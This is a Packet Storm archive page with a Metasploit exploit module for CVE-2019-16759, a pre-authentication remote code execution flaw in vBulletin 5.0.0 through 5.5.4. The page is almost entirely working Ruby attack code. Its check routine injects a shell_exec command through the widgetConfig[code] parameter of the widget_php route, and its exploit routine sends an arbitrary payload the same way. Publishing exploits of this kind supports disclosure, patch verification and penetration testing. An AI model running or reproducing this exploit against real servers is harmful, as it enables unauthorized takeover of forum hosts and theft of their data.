what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin 5.x Pre-Auth Remote Code Execution

vBulletin 5.x Pre-Auth Remote Code Execution
Posted Sep 28, 2019
Authored by r00tpgp | Site metasploit.com

vBulletin version 5.x pre-authentication remote code execution Metasploit module.

tags | exploit, remote, code execution
advisories | CVE-2019-16759
SHA-256 | 4a1da0e01f0e530ef718c51ed1bcd9f801cd9b4453516cc9e71b0d28bd47e9d1

vBulletin 5.x Pre-Auth Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin 5.x 0day pre-quth RCE exploit',
'Description' => %q{
vBulletin 5.x 0day pre-auth RCE exploit.
This should work on all versions from 5.0.0 till 5.5.4
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' => [
'Reported by: anonymous', # reported by
'Original exploit by: anonymous', # original exploit
'Metasploit mod by: r00tpgp', # metasploit module
],
'Payload' =>
{
'BadChars' => "\x22",
},
'References' =>
[
['CVE', 'CVE-2019-16759'],
['EDB', 'NA'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759']
],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Targeting', { 'auto' => true } ],
# ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
# ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
],
'DisclosureDate' => 'Sep 23 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
])

end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
'encode_params' => false,
'vars_post' =>
{
'widgetConfig[code]' => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;",
}
})

if res && res.body && res.body.include?('h4x0000r4l1f4')
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Sending payload.....")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
'encode_params' => false,
'vars_post' =>
{
#'widgetConfig[code]' => "echo " + payload.encoded + "exit;",
'widgetConfig[code]' => payload.encoded,
}
})
#unless resp and resp.code == 200
# fail_with(Failure::Unknown, "Exploit failed.")
#end

#print_good("Success!")
#print_line(resp.body)

end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close